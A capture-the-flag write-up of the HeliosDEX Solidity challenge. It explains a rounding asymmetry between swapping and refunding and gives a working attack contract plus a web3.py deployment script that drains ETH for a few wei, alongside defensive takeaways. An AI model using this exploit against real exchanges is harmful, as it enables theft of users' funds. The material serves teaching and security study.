# Cyber Apocalypse CTF 2025: Exploiting Rounding Errors in HeliosDEX

One of the blockchain challenges in Cyber Apocalypse CTF had the Solidity contract called `HeliosDEX`, a Solidity-based decentralized exchange allowing swaps of Ether for three ERC20 tokens (`ELD`, `MAL`, `HLS`) and a one-time refund of tokens for Ether. Looking at the smart contract, it quickly turned into a thrilling ride of math, gas, and smart contract exploitation. In this post, I’ll explain how I discovered the flaw, (over)engineered the exploit, and executed it, draining significant funds from the contract using only a few wei.

## Understanding HeliosDEX

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

/***
    __  __     ___            ____  _______  __
   / / / /__  / (_)___  _____/ __ \/ ____/ |/ /
  / /_/ / _ \/ / / __ \/ ___/ / / / __/  |   / 
 / __  /  __/ / / /_/ (__  ) /_/ / /___ /   |  
/_/ /_/\___/_/_/\____/____/_____/_____//_/|_|  
                                               
    Today's item listing:
    * Eldorion Fang (ELD): A shard of a Eldorion's fang, said to imbue the holder with courage and the strength of the ancient beast. A symbol of valor in battle.
    * Malakar Essence (MAL): A dark, viscous substance, pulsing with the corrupted power of Malakar. Use with extreme caution, as it whispers promises of forbidden strength. MAY CAUSE HALLUCINATIONS.
    * Helios Lumina Shards (HLS): Fragments of pure, solidified light, radiating the warmth and energy of Helios. These shards are key to powering Eldoria's invisible eye.
***/

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

contract EldorionFang is ERC20 {
    constructor(uint256 initialSupply) ERC20("EldorionFang", "ELD") {
        _mint(msg.sender, initialSupply);
    }
}

contract MalakarEssence is ERC20 {
    constructor(uint256 initialSupply) ERC20("MalakarEssence", "MAL") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosLuminaShards is ERC20 {
    constructor(uint256 initialSupply) ERC20("HeliosLuminaShards", "HLS") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosDEX {
    EldorionFang public eldorionFang;
    MalakarEssence public malakarEssence;
    HeliosLuminaShards public heliosLuminaShards;

    uint256 public reserveELD;
    uint256 public reserveMAL;
    uint256 public reserveHLS;
    
    uint256 public immutable exchangeRatioELD = 2;
    uint256 public immutable exchangeRatioMAL = 4;
    uint256 public immutable exchangeRatioHLS = 10;

    uint256 public immutable feeBps = 25;

    mapping(address => bool) public hasRefunded;

    bool public _tradeLock = false;
    
    event HeliosBarter(address item, uint256 inAmount, uint256 outAmount);
    event HeliosRefund(address item, uint256 inAmount, uint256 ethOut);

    constructor(uint256 initialSupplies) payable {
        eldorionFang = new EldorionFang(initialSupplies);
        malakarEssence = new MalakarEssence(initialSupplies);
        heliosLuminaShards = new HeliosLuminaShards(initialSupplies);
        reserveELD = initialSupplies;
        reserveMAL = initialSupplies;
        reserveHLS = initialSupplies;
    }

    modifier underHeliosEye {
        require(msg.value > 0, "HeliosDEX: Helios sees your empty hand! Only true offerings are worthy of a HeliosBarter");
        _;
    }

    modifier heliosGuardedTrade() {
        require(_tradeLock != true, "HeliosDEX: Helios shields this trade! Another transaction is already underway. Patience, traveler");
        _tradeLock = true;
        _;
        _tradeLock = false;
    }

    function swapForELD() external payable underHeliosEye {
        uint256 grossELD = Math.mulDiv(msg.value, exchangeRatioELD, 1e18, Math.Rounding(0));
        uint256 fee = (grossELD * feeBps) / 10_000;
        uint256 netELD = grossELD - fee;

        require(netELD <= reserveELD, "HeliosDEX: Helios grieves that the ELD reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveELD -= netELD;
        eldorionFang.transfer(msg.sender, netELD);

        emit HeliosBarter(address(eldorionFang), msg.value, netELD);
    }

    function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));
        uint256 fee = (grossMal * feeBps) / 10_000;
        uint256 netMal = grossMal - fee;

        require(netMal <= reserveMAL, "HeliosDEX: Helios grieves that the MAL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveMAL -= netMal;
        malakarEssence.transfer(msg.sender, netMal);

        emit HeliosBarter(address(malakarEssence), msg.value, netMal);
    }

    function swapForHLS() external payable underHeliosEye {
        uint256 grossHLS = Math.mulDiv(msg.value, exchangeRatioHLS, 1e18, Math.Rounding(3));
        uint256 fee = (grossHLS * feeBps) / 10_000;
        uint256 netHLS = grossHLS - fee;
        
        require(netHLS <= reserveHLS, "HeliosDEX: Helios grieves that the HSL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");
        

        reserveHLS -= netHLS;
        heliosLuminaShards.transfer(msg.sender, netHLS);

        emit HeliosBarter(address(heliosLuminaShards), msg.value, netHLS);
    }

    function oneTimeRefund(address item, uint256 amount) external heliosGuardedTrade {
        require(!hasRefunded[msg.sender], "HeliosDEX: refund already bestowed upon thee");
        require(amount > 0, "HeliosDEX: naught for naught is no trade. Offer substance, or be gone!");

        uint256 exchangeRatio;
        
        if (item == address(eldorionFang)) {
            exchangeRatio = exchangeRatioELD;
            require(eldorionFang.transferFrom(msg.sender, address(this), amount), "ELD transfer failed");
            reserveELD += amount;
        } else if (item == address(malakarEssence)) {
            exchangeRatio = exchangeRatioMAL;
            require(malakarEssence.transferFrom(msg.sender, address(this), amount), "MAL transfer failed");
            reserveMAL += amount;
        } else if (item == address(heliosLuminaShards)) {
            exchangeRatio = exchangeRatioHLS;
            require(heliosLuminaShards.transferFrom(msg.sender, address(this), amount), "HLS transfer failed");
            reserveHLS += amount;
        } else {
            revert("HeliosDEX: Helios descries forbidden offering");
        }

        uint256 grossEth = Math.mulDiv(amount, 1e18, exchangeRatio);

        uint256 fee = (grossEth * feeBps) / 10_000;
        uint256 netEth = grossEth - fee;

        hasRefunded[msg.sender] = true;
        payable(msg.sender).transfer(netEth);
        
        emit HeliosRefund(item, amount, netEth);
    }
}
```

`HeliosDEX` is a Solidity smart contract acting as a DEX. Its core functionality includes:

1. Swapping Ether (ETH) for one of three ERC-20 tokens: ELD, MAL, or HLS.
    
2. Allowing a **one-time refund** per address: users can return any of those tokens and get ETH back, minus a 0.25% fee.
    

Each token has a fixed exchange ratio:

* **ELD**: 2 tokens per ETH
    
* **MAL**: 4 tokens per ETH
    
* **HLS**: 10 tokens per ETH
    

For example, if you send 1 ETH and swap for MAL, you receive 4 MAL tokens.

## The Vulnerability: Rounding Errors in Financial Arithmetic

Here’s where things get interesting. Solidity does not support floating-point arithmetic. Instead, developers use integer math and libraries like OpenZeppelin's `Math.mulDiv()` to simulate division and multiplication with decimal-like precision.

`Math.mulDiv()` can be configured to round results in different ways:

* `Down` (truncate decimals)
    
* `Up` (round away from zero)
    
* `Ceil` (round up, but only for positive numbers)
    

This DEX uses *different rounding modes* for different swap operations.

Taking a look at the `swapForMAL()` function:

```solidity
function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));
        uint256 fee = (grossMal * feeBps) / 10_000;
        uint256 netMal = grossMal - fee;

        require(netMal <= reserveMAL, "HeliosDEX: Helios grieves that the MAL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveMAL -= netMal;
        malakarEssence.transfer(msg.sender, netMal);

        emit HeliosBarter(address(malakarEssence), msg.value, netMal);
    }
```

* `exchangeRatioMAL` is set to 4.
    
* `msg.value` is the ETH sent (e.g., 1 wei).
    
* `1e18` represents 1 ETH in wei (the smallest ETH unit).
    

If we send just **1 wei**, the calculation becomes:

```solidity
grossMal = ceil(1 wei × 4 / 1e18) = ceil(4 / 1e18)
```

This results in **1 MAL token**, due to the ceiling rounding—even though 1 wei is a *microscopic* fraction of 1 ETH.

Now let’s look at the refund function:

```solidity
uint256 grossEth = Math.mulDiv(amount, 1e18, exchangeRatioMAL); // Defaults to Rounding.Down
```

When we refund 1 MAL, this becomes:

```solidity
grossEth = floor(1 × 1e18 / 4) = 0.25 ETH
```

Subtracting the 0.25% fee, we still get approximately **0.249375 ETH** back. That’s a profit of ~0.249375 ETH from an investment of 1 **wei** (1e-18 ETH).

### Why This Happens

This is a **rounding asymmetry**:

* The swap *rounds up*, giving more tokens than deserved.
    
* The refund *rounds down*, giving back nearly the full refund value.
    
* No minimum input check exists to prevent tiny ETH swaps from yielding full tokens.
    

## (Over) Engineering the Exploit

With this, the exploit plan was straightforward:

1. Send a tiny amount of ETH (e.g., 1 wei) to `swapForMAL()`—receive 1 MAL.
    
2. Use `oneTimeRefund()` to refund that MAL for ~0.25 ETH.
    
3. Extract the resulting ETH back to our wallet.
    
4. Repeat using fresh contracts (since the refund is one-time per address).
    

But to scale this up, we can send multiple wei (e.g., 100 wei) to make 100 swaps and claim 100 MAL tokens in a single go.

### Solidity Exploit Contract

Here’s a stripped-down exploit contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IHeliosDEX {
    function swapForMAL() external payable;
    function oneTimeRefund(address item, uint256 amount) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
}

contract HeliosExploit {
    IHeliosDEX public dex;
    IERC20 public mal;

    constructor(address _dex, address _mal) payable {
        dex = IHeliosDEX(_dex);
        mal = IERC20(_mal);
        attack();
    }

    function attack() internal {
        // Perform multiple swap
        uint256 swapCount = 100;
        for (uint256 i = 0; i < swapCount; i++) {
            dex.swapForMAL{value: 1 wei}();
        }

        // Refund
        uint256 malAmount = mal.balanceOf(address(this));
        mal.approve(address(dex), malAmount);
        dex.oneTimeRefund(address(mal), malAmount);

        // Send Ether to attacker address
        payable(tx.origin).transfer(address(this).balance);
    }

    receive() external payable {}
}
```

Each deployment of this contract:

* Performs 1 swap per wei sent (e.g., 100 swaps if 100 wei).
    
* Collects MAL tokens.
    
* Approve the DEX for the refund.
    
* Claims ETH from the refund (~0.249375 ETH per MAL).
    
* Sends profits to the deployer.
    

### Deployment & Automation with [`web3.py`](http://web3.py)

Using [`web3.py`](http://web3.py), I automated:

* Compiling the contract.
    
* Deploying with ETH.
    
* Estimating gas.
    
* Handling refunds.
    
* Logging profits.
    

A typical profitable run with 100 wei netted ~24.9375 ETH, with minimal gas cost (~0.003 ETH).

## Debugging the Hiccups

The first few attempts failed.

### Problem: Reverts with No Error

* Reason: The contract ran out of tokens or ETH reserves.
    
* Fix: Checked DEX token balances before each run.
    

### Problem: Refund fails

* Reason: `oneTimeRefund` only works **once per address**.
    
* Fix: Use a new contract (new address) for each exploit.
    

### Problem: Gas limits

* Swapping 100 times can hit the block gas limit.
    
* Fix: Tune swap count
    

By targeting MAL tokens (most profitable ratio), and optimizing the number of swaps per deployment, I was able to extract large portions of the DEX’s ETH holdings.

Each 100 MAL refunded yielded:

* **Gross ETH**: 25 ETH
    
* **After Fee (0.25%)**: ~24.9375 ETH
    
* **Input Cost**: 100 wei (~0.0000000000000001 ETH)
    
* **Profit**: 24.9375 ETH
    

Deployments were repeated until the MAL reserves or DEX ETH pool dried up.

## Final Exploit

```python
from web3 import Web3
from solcx import compile_source
import json

w3 = Web3(Web3.HTTPProvider(""))
assert w3.is_connected()

attacker_private_key = ""
attacker_address = w3.eth.account.from_key(attacker_private_key).address

DEX_ADDRESS = ""

with open("HeliosDEX.abi.json") as f:
    DEX_ABI = json.load(f)

dex = w3.eth.contract(address=DEX_ADDRESS, abi=DEX_ABI)
MAL_ADDRESS = dex.functions.malakarEssence().call()

exploit_source = """
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IHeliosDEX {
    function swapForMAL() external payable;
    function oneTimeRefund(address item, uint256 amount) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
}

contract HeliosExploit {
    IHeliosDEX public dex;
    IERC20 public mal;

    constructor(address _dex, address _mal) payable {
        dex = IHeliosDEX(_dex);
        mal = IERC20(_mal);
        attack();
    }

    function attack() internal {
        // Perform multiple swap
        uint256 swapCount = 100;
        for (uint256 i = 0; i < swapCount; i++) {
            dex.swapForMAL{value: 1 wei}();
        }

        // Refund
        uint256 malAmount = mal.balanceOf(address(this));
        mal.approve(address(dex), malAmount);
        dex.oneTimeRefund(address(mal), malAmount);

        // Send Ether to attacker address
        payable(tx.origin).transfer(address(this).balance);
    }

    receive() external payable {}
}
"""

compiled = compile_source(exploit_source)
exploit_interface = compiled['<stdin>:HeliosExploit']
Exploit = w3.eth.contract(abi=exploit_interface['abi'], bytecode=exploit_interface['bin'])

# Deploy with 100 wei for 100 swaps
construct_txn = Exploit.constructor(DEX_ADDRESS, MAL_ADDRESS).build_transaction({
    'from': attacker_address,
    'value': 100, 
    'nonce': w3.eth.get_transaction_count(attacker_address),
    'gas': 2_000_000, 
    'gasPrice': w3.to_wei('2', 'gwei')
})

signed = w3.eth.account.sign_transaction(construct_txn, attacker_private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Exploit TX: {tx_hash.hex()}")

receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Completed in block {receipt.blockNumber}")
print(f"Final balance: {w3.eth.get_balance(attacker_address)} wei")
```

```json
[
  {
    "inputs": [
      {
        "internalType": "uint256",
        "name": "initialSupplies",
        "type": "uint256"
      }
    ],
    "stateMutability": "payable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": false,
        "internalType": "address",
        "name": "item",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "inAmount",
        "type": "uint256"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "outAmount",
        "type": "uint256"
      }
    ],
    "name": "HeliosBarter",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": false,
        "internalType": "address",
        "name": "item",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "inAmount",
        "type": "uint256"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "ethOut",
        "type": "uint256"
      }
    ],
    "name": "HeliosRefund",
    "type": "event"
  },
  {
    "inputs": [],
    "name": "eldorionFang",
    "outputs": [
      {
        "internalType": "contract EldorionFang",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "exchangeRatioELD",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "exchangeRatioHLS",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "exchangeRatioMAL",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "feeBps",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "hasRefunded",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "heliosLuminaShards",
    "outputs": [
      {
        "internalType": "contract HeliosLuminaShards",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "malakarEssence",
    "outputs": [
      {
        "internalType": "contract MalakarEssence",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "reserveELD",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "reserveHLS",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "reserveMAL",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "swapForELD",
    "outputs": [],
    "stateMutability": "payable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "swapForHLS",
    "outputs": [],
    "stateMutability": "payable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "swapForMAL",
    "outputs": [],
    "stateMutability": "payable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "item",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "oneTimeRefund",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  }
]
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1742922800705/4aae2e6c-39b0-4dd0-832b-b312dece313b.png align="center")

## Key Takeaways

### 1\. **Never Trust Rounding in Finance**

Rounding up small inputs to whole units creates massive arbitrage opportunities. Always validate inputs (e.g., minimum ETH) or normalize math to avoid division artefacts.

### 2\. **State Awareness is Everything**

Smart contract state (reserves, refunds, approvals) changes over time. Good exploits monitor and adapt to live data.

### 3\. **CTF Environments Reflect Real-World Pitfalls**

Many real-world hacks (e.g., Curve, Bancor) stem from similar rounding or precision mismatches. CTFs offer a great sandbox for exploring these vulnerabilities.

## Conclusion

This challenge was a perfect mix of arithmetic vulnerability, smart contract design flaws, and Ethereum quirks. From 1 wei to 0.25 ETH, the exploit demonstrated how dangerous rounding logic can be in a financial contract. As developers, we must treat numerical precision as a first-class concern. As hackers, we must stay curious and meticulous.

HeliosDEX may have fallen to its own logic—but the lesson it leaves behind is eternal:

> *“In Solidity, never underestimate the power of a single wei.”*

### References

* [https://docs.openzeppelin.com/contracts/2.x/api/math](https://docs.openzeppelin.com/contracts/2.x/api/math)
    
* [https://populus.readthedocs.io/en/latest/gotchas.html](https://populus.readthedocs.io/en/latest/gotchas.html)
    
* [https://diligence.consensys.io/blog/2020/04/catching-weird-security-bugs-in-solidity-smart-contracts-with-invariant-checks/](https://diligence.consensys.io/blog/2020/04/catching-weird-security-bugs-in-solidity-smart-contracts-with-invariant-checks/)
    
* [https://web3py.readthedocs.io/en/stable/](https://web3py.readthedocs.io/en/stable/)
